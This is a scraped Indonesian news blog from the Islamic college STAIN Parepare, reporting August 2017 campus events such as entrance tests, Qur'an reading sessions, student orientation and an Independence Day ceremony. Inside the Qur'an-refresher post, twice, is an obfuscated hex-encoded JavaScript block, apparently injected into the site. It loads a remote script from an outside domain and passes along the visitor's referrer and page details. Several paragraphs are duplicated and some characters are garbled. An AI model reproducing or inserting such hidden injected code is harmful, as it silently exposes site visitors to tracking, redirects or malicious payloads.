STAIN Parepare- Computer Basic Test (CBT) atau biasa juga disebut Computer Assisted Test (CAT) kembali dilaksanakan bagi calon mahasiswa Pascasarjana STAIN Parepare pada gelombang kedua dalam rangka penerimaan mahasiswa jenjang strata dua (S2). Sebanyak 54 peserta yang mengikuti ujian yang dilaksanakan di Laboratorium ICT STAIN Parepare (21/07). Sebelumnya pada gelombang pertama, peserta yang mengikuti ujian sebanyak 33 orang. Namun, pada gelombang kedua ini mengalami peningkatan minat pendaftaran pada Pascasarjana STAIN Parepare. Rencananya besok pada Selasa 22 Agustus 2017 calon mahasiswa Pascasarjana akan mengikuti tes psikotes yang akan diuji langsung oleh masing-masing penanggungjawab program studi Pascasarjana STAIN Parepare termasuk penguji lembaga atau institusi oleh Direktur Pascasarjana STAIN Parepare. Abdul Rahman. K selaku ketua panitia penerimaan mahasiswa Pascasarjana STAIN Parepare berharap agar peserta ujian yang nantinya akan menjadi mahasiswa Pascasarjana ini benar-benar mengikuti proses pendidikan sesuai dengan keinginan apakah dalam bentuk keaktifan proses perkuliahan, proses melaksanakan tugas (kerja tugas) atau mengikuti aturan-aturan akademik. “Hindari adanya persepsi bahwa sama kalau swasta. Ini negeri, beda. Jadi sistem yang diberlakukan adalah sistem kualitas untuk kepentingan lembaga”, jelasnya.
Foto: Al
Foto: Al
Pembukaan PBQ 2017
STAIN Parepare- Kegiatan penyegaran Baca Tulis Al-Qur’an (PBQ) dibuka secara resmi oleh Ahmad S. Rustan ketua STAIN Parepare (21/08). Pembukaan PBQ ini dilaksanakan di gedung Auditorium STAIN Parepare. Diikuti oleh segenap mahasiswa baru tahun akademik 2017/2018. PBQ ini berlangsung selama beberapa hari ke depan mulai tanggal 21 s/d 23 Agustus 2017. Menurut Mukhtar Yunus kepala Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH) ada tiga tahapan dalam PBQ tahun ini, yakni tahapan pertama placement test PBQ yang telah dilaksanakan pada Rabu 16 Agustus 2017. Tahapan kedua adalah pembelajaran yang dilakukan dalam kelas dan tahapan yang terakhir adalah evaluasi. Di sisi lain ketua STAIN Parepare mengapresiasi dosen penguji yang telah menilai secara objektif mahasiswa baru pada kegiatan placement test. “STAIN Parepare telah mendata bahwa ada 40 mahasiswa baru yang masih memerlukan perhatian untuk membimbing mereka dalam membaca Al-Qur’an”, ungkapnya saat memberi sambutan.
Ketua STAIN Parepare Sambut Mahasiswa KPM
STAIN Parepare- Sebanyak 721 mahasiswa Kuliah Pengabdian Masyarakat (KPM) STAIN Parepare, hari ini mengikuti pelaksanaan upacara penerimaan KPM secara resmi di kampus STAIN Parepare (21/08). Upacara penerimaan mahasiswa KPM ini dihadiri oleh ketua STAIN Parepare, sejumlah dosen pembimbing lapangan (DPL) dan segenap civitas akademik. Kegiatan ini dilaksanakan di halaman depan gedung Pascasarjana STAIN Parepare.
Selama 45 hari mahasiswa STAIN Parepare khususnya mahasiswa semester 6 telah mengikuti kuliah pengabdian masyarakat yang disebar di 90 desa dari 10 kecamatan yang ada di kabupaten Enrekang. Ahmad S. Rustan selaku ketua STAIN Parepare dalam sambutannya menghimbau agar mahasiswa yang pulang dari KPM ini segera menyelesaikan administrasi sebelum pulang ke kampung halaman. “Manfaatkan hari ini untuk registrasi, selesaikan persoalan-persoalan administrasi supaya benar-benar diterima sebagai mahasiswa, baik secara akademik maupun secara administrasi”. Ketua STAIN Parepare juga sangat mengapresiasi kepada para dosen pembimbing lapangan dan segenap panitia KPM 2017 yang telah bekerja keras untuk mengsukseskan KPM STAIN Parepare tahun ini.
Foto: NH
Selama 45 hari mahasiswa STAIN Parepare khususnya mahasiswa semester 6 telah mengikuti kuliah pengabdian masyarakat yang disebar di 90 desa dari 10 kecamatan yang ada di kabupaten Enrekang. Ahmad S. Rustan selaku ketua STAIN Parepare dalam sambutannya menghimbau agar mahasiswa yang pulang dari KPM ini segera menyelesaikan administrasi sebelum pulang ke kampung halaman. “Manfaatkan hari ini untuk registrasi, selesaikan persoalan-persoalan administrasi supaya benar-benar diterima sebagai mahasiswa, baik secara akademik maupun secara administrasi”. Ketua STAIN Parepare juga sangat mengapresiasi kepada para dosen pembimbing lapangan dan segenap panitia KPM 2017 yang telah bekerja keras untuk mengsukseskan KPM STAIN Parepare tahun ini.
Foto: NH
Minggu, 20 Agustus 2017
PBQ STAIN Parepare 2017
STAIN Parepare-- Penyegaran Baca al-Qura��an (PBQ) merupakan kegiatan rutin dilaksanakan oleh STAIN Parepare yang telah tercantum pada kalender akademik STAIN Parepare. Hal ini sebagai upaya untuk mengidentifikasi, memotivasi, dan meningkatkan kemampuan bacaan al-Qura��an bagi mahasiswa baru STAIN Parepare.
Kegiatan ini dilaksanakan untuk mengindentifikasi dan mendapatkan pemetaan kemampuan membaca al-Qura��an bagi mahasiswa baru STAIN Parepare tahun akademik 2017/2018. Selain itu, kegiatan ini juga bertujuan untuk menumbuhkan kesadaran dan motivasi mahasiswa dalam mempelajari al-Qura��an, sehingga memudahkan STAIN Parepare dalam proses pembinaan mahasiswa Qura��ani, baik dalam proses pembelajaran reguler maupun non-reguler.
Penyelenggaraan Penyegaran Baca al-Qura��an akan dilaksanakan selama 3 hari yang terbagi dalam 2 jenis acara yaitu 1 hari placement test pada tanggal 16 Agustus 2017 dan pelaksanaan pembelajaran PBQ 3 hari tanggal 21 - 23 Agustus 2017 bertempat di Kampus STAIN Parepare.
[ct_button id="button_89" size="small" solid="0" link="http://www.stainparepare.ac.id/wp-content/uploads/2017/08/PENGUMUMAN-PBQ-2017.pdf" icon="" arrow="1" color="#" css_animation="" animation_delay=""]Download FilePENGUMUMAN PBQ 2017[/ct_button]
var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Kegiatan ini dilaksanakan untuk mengindentifikasi dan mendapatkan pemetaan kemampuan membaca al-Qura��an bagi mahasiswa baru STAIN Parepare tahun akademik 2017/2018. Selain itu, kegiatan ini juga bertujuan untuk menumbuhkan kesadaran dan motivasi mahasiswa dalam mempelajari al-Qura��an, sehingga memudahkan STAIN Parepare dalam proses pembinaan mahasiswa Qura��ani, baik dalam proses pembelajaran reguler maupun non-reguler.
Penyelenggaraan Penyegaran Baca al-Qura��an akan dilaksanakan selama 3 hari yang terbagi dalam 2 jenis acara yaitu 1 hari placement test pada tanggal 16 Agustus 2017 dan pelaksanaan pembelajaran PBQ 3 hari tanggal 21 - 23 Agustus 2017 bertempat di Kampus STAIN Parepare.
[ct_button id="button_89" size="small" solid="0" link="http://www.stainparepare.ac.id/wp-content/uploads/2017/08/PENGUMUMAN-PBQ-2017.pdf" icon="" arrow="1" color="#" css_animation="" animation_delay=""]Download FilePENGUMUMAN PBQ 2017[/ct_button]
var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Kamis, 17 Agustus 2017
STAIN PAREPARE PERINGATI HUT RI KE 72
STAIN PAREPARE. Upacara peringatan hari ulang tahun kemerdekaan Republik Indonesia ke 72 STAIN Parepare berlangsung dengan penuh khidmat dilapangan upacara depan gedung Tarbiyah dan Adab, Kamis, 17/8/2017. Upacara ini dipimpin langsung oleh Ketua STAIN Parepare, Dr. Ahmad Sultra Rustan, M.Si.
Upacara yang di hadiri oleh civitas akademika STAIN Parepare yakni Dosen, Mahasiswa dan Karyawan dengan mengusung tema" Indonesia Kerja Bersama"
Dalam sambutan Menristek Dikti yang dibacakan oleh Dr. Ahmad Sultra Rustan, M.Si selaku pembina upacara menyatakan bahwa aktualisasi dengan Indonesia Kerja Bersama dalam mewujudkan Indonesia yang berdaulat, mandiri dan berkepribadian berlandaskan gotong royong adalah pembantingan tulang bersama, pemerasan keringat bersama, perjuangan bantu-membantu bersama, keringat semua buat kebahagiaan semua.
" marilah kita bersama-sama membangun bangsa ini, bergotong royong, bahu membahu,bersinergi,dan saling melengkapi mewujudkan Indonesia yang bersatu, berdaulat, adil, dan makmur" tutur Ahmad Sultra Rustan.
seusai upacara, dilanjutkan dengan kegiatan lomba lari karung, lomba lari balon dan lomba tarik tambang yang melibatkan Dosen dan pegawai dalam lingkup STAIN Parepare. Acara ini cukup meriah dengan diakhiri penyerahan hadiah bagi pemenang lomba.
Upacara yang di hadiri oleh civitas akademika STAIN Parepare yakni Dosen, Mahasiswa dan Karyawan dengan mengusung tema" Indonesia Kerja Bersama"
Dalam sambutan Menristek Dikti yang dibacakan oleh Dr. Ahmad Sultra Rustan, M.Si selaku pembina upacara menyatakan bahwa aktualisasi dengan Indonesia Kerja Bersama dalam mewujudkan Indonesia yang berdaulat, mandiri dan berkepribadian berlandaskan gotong royong adalah pembantingan tulang bersama, pemerasan keringat bersama, perjuangan bantu-membantu bersama, keringat semua buat kebahagiaan semua.
" marilah kita bersama-sama membangun bangsa ini, bergotong royong, bahu membahu,bersinergi,dan saling melengkapi mewujudkan Indonesia yang bersatu, berdaulat, adil, dan makmur" tutur Ahmad Sultra Rustan.
seusai upacara, dilanjutkan dengan kegiatan lomba lari karung, lomba lari balon dan lomba tarik tambang yang melibatkan Dosen dan pegawai dalam lingkup STAIN Parepare. Acara ini cukup meriah dengan diakhiri penyerahan hadiah bagi pemenang lomba.
Rabu, 16 Agustus 2017
Placement Test BTQ
STAIN Parepare- Rangkaian tahapan selanjutnya dalam penerimaan mahasiswa baru Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare dilaksanakannya placement tes BTQ (Baca Tulis Al-Qur’an) di gedung Tarbiyah(16/08). Kegiatan ini dilakukan untuk mengetahui kemampuan mahasiswa baru dalam hal BTQ. Mahasiswa yang telah mengikuti placement test ini akan digolongkan menjadi beberapa kategori diantaranya mahasiswa yang dapat nilai A yakni mahasiswa yang pasih membaca Al-Qur’an (minimal hafish satu juz), mahasiswa yang dapat nilai B yakni mahasiswa yang lancar membaca tapi tajwid atau makhrijul hurufnya tidak jelas, mahasiswa yang dapat nilai C yakni mahasiswa yang memiliki kemampuan baca Al- Qur’an tidak lancar dan tidak bertajwid dan mahasiswa yang mendapat nilai D yakni mahasiswa yang buta aksara atau tidak memiliki kemampuan membaca Al-Qur’an. Salah satu dosen penguji Musyarif sekaligus dosen tafsir dan penanggungjawab prodi Sejarah dan Peradaban Islam berharap “Mudah-mudahan apa yang kita lakukan setelah placement test kita lakukan pembelajaran selama tiga hari. Mudah-mudahan tiga hari ini yang tidak mengenal tajwid dan yang tidak lancar akan termotivasi untuk cinta Al-Qur’an dan akhirnya mampu membaca alqur’an”, ungkapnya ketika ditemui setelah selesai menguji mahasiswa. Nantinya mahasiswa yang telah mengikuti placement test ini akan mengikuti pembelajalaran pada senin mendatang.
Selasa, 15 Agustus 2017
Sosialisasi Sistem Informasi (SISFO) Kampus
STAIN Parepare- Tim TIPD Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare melakukan sosialisasi Sistem Informasi (SISFO) kampus, usai berakhirnya materi peraturan akademik yang dilaksanakan di Auditorium STAIN Parepare (15/08). Sistem informasi (SISFO) kampus merupakan salah satu hal yang terpenting bagi segenap civitas akademik STAIN Parepare khususnya mahasiswa. Dikarenakan di SISFO inilah mahasiswa dapat memilih mata kuliah atau mendapatkan Kartu Rencana Studi (KRS). Selain itu, mahasiswa juga dapat melihat nilai akhir dari setiap mata kuliah. “Sistem informasi ini tidak menyulitkan mereka untuk mengakses semua yang terkait dengan akademik. Mudah-mudahan mereka bisa menggunakan sistem informasi kampus ini”, ungkap Muhammad Ahsan kepala TIPD STAIN Parepare sekaligus salah satu pemateri.
Mahasiswa Baru Ikuti Orientasi Peraturan Akademik
STAIN Parepare- Kegiatan orientasi peraturan akademik yang dilaksanakan di Auditorium STAIN Parepare (15/08). Diikuti oleh seluruh mahasiswa baru jenjang strata 1 (S1). Kegiatan ini dilaksanakan untuk memperkenalkan budaya akademik atau aturan-aturan akademik yang berlaku di STAIN Parepare sehingga nantinya mahasiswa tidak akan mengalami kesulitan dalam hal pengurusan akademik di kampus STAIN Parepare. Kegiatan yang dimulai pada pukul 08:00 WITA ini menghadirkan tiga pemateri yakni ketua jurusan Tarbiyah dan Adab, ketua jurusan Syariah dan Ekonomi Islam dan ketua jurusan Dakwah dan Komunikasi. Menurut Iskandar ketua panitia kegiatan berharap agar mahasiswa baru bisa mengikuti kegiatan ini secara baik karena ini sangat bermanfaat bagi mahasiswa baru.
Senin, 14 Agustus 2017
Rapat Senat Terbuka: 10628 Orang Peminat STAIN Parepare
STAIN Parepare- Rapat Senat terbuka yang diselenggarakan dalam rangka penyambutan mahasiswa baru STAIN Parepare tahun ajaran 2017/2018 yang digelar di Auditorium STAIN Parepare(14/08). Dihadiri oleh ketua dan anggota senat, segenap civitas akademik STAIN Parepare, ormawa dan seluruh mahasiswa baru. Wakil Ketua Bidang Akademik dan Pengembangan Lembaga Muhammad Djunaidi dalam laporannya mengatakan jumlah peminat STAIN Parepare sebesar 10628 orang, dari tiga jalur seleksi yang berhasil diterima 1428 orang.
[caption id="attachment_5393" align="aligncenter" width="321"] Laporan Muhammad Djunaidi[/caption]
[caption id="attachment_5394" align="aligncenter" width="325"] Pemakaian Jas Almamater STAIN PArepare secara simbolis oleh Ketua STAIN Parepare[/caption]
Dalam rapat senat ini juga dilakukan pemakaian secara simbolis jas almamater STAIN Parepare kepada perwakilan mahasiswa baru yakni mahasiswa yang memiliki nomor induk 001 pada masing-masing setiap program studi yang ada. Ahmad S. Rustan ketua STAIN Parepare sekaligus sebagai ketua senat berharap agar mahasiswa tumbuh dewasa dalam berfikir serta bijak dalam bertindak. “Mari kita menuntut ilmu dengan sebaik-baiknya sesuai dengan amanah yang diberikan oleh orangtua kepada kita sekalian”, tutupnya dalam sambutan rapat senat terbuka.
[caption id="attachment_5393" align="aligncenter" width="321"] Laporan Muhammad Djunaidi[/caption]
[caption id="attachment_5394" align="aligncenter" width="325"] Pemakaian Jas Almamater STAIN PArepare secara simbolis oleh Ketua STAIN Parepare[/caption]
Dalam rapat senat ini juga dilakukan pemakaian secara simbolis jas almamater STAIN Parepare kepada perwakilan mahasiswa baru yakni mahasiswa yang memiliki nomor induk 001 pada masing-masing setiap program studi yang ada. Ahmad S. Rustan ketua STAIN Parepare sekaligus sebagai ketua senat berharap agar mahasiswa tumbuh dewasa dalam berfikir serta bijak dalam bertindak. “Mari kita menuntut ilmu dengan sebaik-baiknya sesuai dengan amanah yang diberikan oleh orangtua kepada kita sekalian”, tutupnya dalam sambutan rapat senat terbuka.
Sabtu, 12 Agustus 2017
Pascasarjana STAIN Parepare Gelar Workshop Kurikulum
STAIN Parepare- Pascasarjana Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare menggelar workshop kurikulum di gedung Pascasarjana(12/08). Workshop ini akan berlangsung selama 2 hari dengan diikuti sebanyak 25 peserta. Workshop ini dilakukan pasca terbitnya SK untuk program studi baru Pascasarjana STAIN Parepare. Hamdanah selaku ketua panitia workshop mengatakan ada tiga program studi yaitu program studi Pendidikan Bahasa Arab, Tadris Bahasa Inggris dan Ilmu Syariah”. Dalam workshop ini pemateri yang didatangkan merupakan pakar ahli dibidangnya yaitu Dr. Muhammad Yaumy, M. Hum., M.A.
Workshop yang dibuka secara resmi oleh Ahmad S. Rustan selaku ketua STAIN Parepare dalam sambutannya menyampaikan rasa terima kasihnya kepada pihak panitia dan narasumber dan berharap agar peserta dapat mengetahui bagaimana menyusun kurikulum dengan baik dan benar. Sementara Muhammad Djunaidi yang turut pula memberi sambutan berharap agar workshop ini menghasilkan kurikulum permanen, “Walaupun kita sadari bahwa kurikulum setiap saat akan dilakukan peninjauan atau penyempurnaan “ tambahnya.
Kamis, 10 Agustus 2017
Day 4: Penutupan OPAK 2017
STAIN Parepare- Kegiatan Orientasi Pengenalan Akademik dan Kemahasiswaan (OPAK) Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare yang dibuka pada hari senin yang lalu, hari ini dilakukan penutupan secara resmi oleh Ketua STAIN Parepare di gedung Auditorium(10/08). Dalam acara penutupan OPAK ini turut dihadiri pula direktur program Pasca sarjana STAIN Parepare dan segenap civitas akademik STAIN Parepare. “Kalau saya lihat hari ini, hampir semua peserta OPAK senantiasa memperlihatkan senyumannya. Senyuman ini adalah sebuah gambaran jiwa, gambaran hati internal setiap orang bahwa dia sangat senang mengikuti kegiatan yang sedang berlangsung ini”, ungkap Ahmad S. Rustan, Ketua STAIN Parepare.
Dalam acara penutupan OPAK ini juga diumumkan tiga kelompok terbaik. Salah satu mahasiswa pendamping kelompok Fauziah Musra yang merupakan peraih kelompok terbaik pertama, mengaku menggunakan pendekatan kekeluargaan dalam mendampingi kelompoknya.
Menurut Musdalifah ketua panitia OPAK mengatakan kriteria penilaian kelompok ada tiga yaitu kedisiplinan, kekompakan dan kehadiran. Selain itu dari 1405 peserta OPAK yang mengikuti kegiatan ini terdapat 9 orang yang dinyatakan tidak lulus dengan alasan sakit serta ada kegiatan lain dan 28 orang yang lulus bersyarat. "28 orang yang lulus bersyarat nanti kami serahkan pada masing-masing jurusan", tambahnya saat memberi laporan.
Dalam acara penutupan OPAK ini juga diumumkan tiga kelompok terbaik. Salah satu mahasiswa pendamping kelompok Fauziah Musra yang merupakan peraih kelompok terbaik pertama, mengaku menggunakan pendekatan kekeluargaan dalam mendampingi kelompoknya.
Menurut Musdalifah ketua panitia OPAK mengatakan kriteria penilaian kelompok ada tiga yaitu kedisiplinan, kekompakan dan kehadiran. Selain itu dari 1405 peserta OPAK yang mengikuti kegiatan ini terdapat 9 orang yang dinyatakan tidak lulus dengan alasan sakit serta ada kegiatan lain dan 28 orang yang lulus bersyarat. "28 orang yang lulus bersyarat nanti kami serahkan pada masing-masing jurusan", tambahnya saat memberi laporan.
Rabu, 09 Agustus 2017
Day 3: Peserta OPAK Disambut Pada Setiap Jurusan
STAIN Parepare- Hari ketiga pada kegiatan Orientasi Pengenalan Akademik dan Kemahasiswaan (OPAK) Sekolah Tinggi Agama Islam Negeri Parepare, salah satu agenda kegiatan hari ini adalah seluruh peserta OPAK dibagi sesuai dengan jurusan guna dilakukan penyambutan pada setiap jurusan (09/08). Sekolah tinggi Agama Islam (STAIN) Parepare yang memiliki tiga jurusan yaitu jurusan Tarbiyah dan Adab, jurusan Syariah dan Ekonomi Islam dan jurusan Dakwah dan Komunikasi.
Penyambutan oleh masing-masing jurusan ini dilakukan guna memperkenalkan dosen-dosen serta visi dan misi pada setiap program studi yang ada pada jurusan tersebut. Seperti salah satu jurusan Tarbiyah dan Adab yang melakukan penyambutan mahasiswa baru di Masjid Al-Wasilah. “Jangan berpikir keluar lagi tapi pikirkan bagaimana secara perlahan-lahan mencintai prodi apapun yang Anda amanahkan”, ungkap Bahtiar ketua jurusan Tarbiyah dan Adab saat memberi sambutan pada mahasiswa baru.
[caption id="attachment_5371" align="aligncenter" width="300"] Penyambutan Jurusan Tarbiyah dan Adab di Masjid Al-Wasilah[/caption]
[caption id="attachment_5372" align="aligncenter" width="300"] Penyambutan Jurusan Syariah dan Ekonomi di Auditorium STAIN Parepare[/caption]
[caption id="attachment_5368" align="aligncenter" width="300"] Penyambutan-Jurusan Dakwah dan Komunikasi di Aula Serbaguna STAIN Parepare[/caption]
Penyambutan oleh masing-masing jurusan ini dilakukan guna memperkenalkan dosen-dosen serta visi dan misi pada setiap program studi yang ada pada jurusan tersebut. Seperti salah satu jurusan Tarbiyah dan Adab yang melakukan penyambutan mahasiswa baru di Masjid Al-Wasilah. “Jangan berpikir keluar lagi tapi pikirkan bagaimana secara perlahan-lahan mencintai prodi apapun yang Anda amanahkan”, ungkap Bahtiar ketua jurusan Tarbiyah dan Adab saat memberi sambutan pada mahasiswa baru.
[caption id="attachment_5371" align="aligncenter" width="300"] Penyambutan Jurusan Tarbiyah dan Adab di Masjid Al-Wasilah[/caption]
[caption id="attachment_5372" align="aligncenter" width="300"] Penyambutan Jurusan Syariah dan Ekonomi di Auditorium STAIN Parepare[/caption]
[caption id="attachment_5368" align="aligncenter" width="300"] Penyambutan-Jurusan Dakwah dan Komunikasi di Aula Serbaguna STAIN Parepare[/caption]
Senin, 07 Agustus 2017
STAIN Parepare Laksanakan Kegiatan OPAK 2017
STAIN Parepare- Pelaksanaan Orientasi Pengenalan Akademik dan Kemahasiswaan (OPAK) Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare, hari ini resmi dibuka oleh Muhammad Djunaidi selaku wakil ketua bidang akademik dan pengembangan lembaga (07/08). Kegiatan yang dilaksanakan di gedung Auditorium STAIN Parepare ini diikuti oleh 1405 mahasiswa yang dijadwalkan akan berlangsung mulai tanggal 7 s/d 10 Agustus 2017. Menurut Muhammad Djunaidi pelaksanaan OPAK ini adalah merupakan rangkaian atau tahapan dalam rangka penerimaan mahasiswa baru di Sekolah Tinggi Agama Islam Negeri. “Ini merupakan tahapan ketiga dari 7 tahapan. Masih ada tahapan-tahapan yang kalian akan ikuti pada beberapa hari yang akan datang, baru kita akan memasuki dunia perkuliahan. Saya harapkan dalam pelaksanaan OPAK ini, anak-anakku sekalian bisa mengikuti dengan baik, kita manfaatkan kesempatan ini untuk menimbah ilmu di kampus hijau ini”, ungkap harapan Muhammad Djunaidi kepada peserta OPAK saat memberi sambutan.
[caption id="attachment_5362" align="aligncenter" width="300"] Dzikir Bersama Sebelum Memulai Kegiatan.[/caption]
Dalam kegitan OPAK ini tema yang diusung oleh pihak panitia adalah cerdas, empati, tanggungjawab dan mencerahkan. Menurut Musdalifah ketua panitia OPAK 2017 alasan kepanitiaan dari tema ini adalah adanya harapan dan doa yang sangat kuat terhadap mahasiswa baru untuk siap berkompetisi di dunia perguruan tinggi, mampu berempati berbekal kecerdasan baik secara intelektual, emosional, dan spriritual. “Mahasiswa diharapkan memiliki tanggung jawab sebagai anak dari orangtua sekaligus sebagai mahasiswa terhadap almamaternya serta memiliki kemampuan yang handal”. jelasnya ketika memberi laporan dalam acara pembukaan OPAK 2017.
[caption id="attachment_5362" align="aligncenter" width="300"] Dzikir Bersama Sebelum Memulai Kegiatan.[/caption]
Dalam kegitan OPAK ini tema yang diusung oleh pihak panitia adalah cerdas, empati, tanggungjawab dan mencerahkan. Menurut Musdalifah ketua panitia OPAK 2017 alasan kepanitiaan dari tema ini adalah adanya harapan dan doa yang sangat kuat terhadap mahasiswa baru untuk siap berkompetisi di dunia perguruan tinggi, mampu berempati berbekal kecerdasan baik secara intelektual, emosional, dan spriritual. “Mahasiswa diharapkan memiliki tanggung jawab sebagai anak dari orangtua sekaligus sebagai mahasiswa terhadap almamaternya serta memiliki kemampuan yang handal”. jelasnya ketika memberi laporan dalam acara pembukaan OPAK 2017.
Sabtu, 05 Agustus 2017
1405 Mahasiswa Siap Ikuti OPAK 2017
STAIN Parepare- Mahasiswa baru yang akan mengikuti kegiatan Orientasi Pengenalan Akademik dan Kemahasiswaan (OPAK), hari ini mengikuti technical meeting di Gedung Auditorium STAIN Parepare (05/08). Sebanyak 1405 mahasiswa yang telah melakukan pendaftaran online OPAK dari total mahasiswa 1468 mahasiswa baru. Dalam technical meeting ini pihak panitia menyampaikan tata tertib OPAK dan peserta dilatih untuk menguasai mars STAIN dan hymne STAIN Parepare yang akan dinyayikan bersama dalam pembukaan OPAK yang akan diselenggarakan senin mendatang (06 Agustus 2017). Selain itu peserta dibagi menjadi beberapa kelompok dengan berbagai macam program studi sehingga peserta akan lebih mudah saling mengenal antara mahasiswa yang berbeda program studi (PRODI). Menurut ketua panitia Musdalifah bahwa pembagian kelompok pada technical meeting ini dilakukan agar nantinya ketika kegiatan OPAK akan berlangsung secara lebih tertib. “Saya berharap peserta mampu berkompetisi di lembaga perguruan tinggi ini, mereka sudah menyiapkan mental, wawasan akademik baik berkaitan dengan struktur lembaga, program studi di mana mereka diterima, mereka tidak lagi merasa asing artinya mereka dengan sendirinya mengakrabkan diri di prodi mana mereka lulus”, harapnya kepada peserta OPAK di sela-sela technical meeting.
[caption id="attachment_5350" align="aligncenter" width="300"] Pembacaan Tata Tertib OPAK 2017[/caption]
[caption id="attachment_5350" align="aligncenter" width="300"] Pembacaan Tata Tertib OPAK 2017[/caption]
Jumat, 04 Agustus 2017
Kamis, 03 Agustus 2017
Training Skill Kenshi 2017
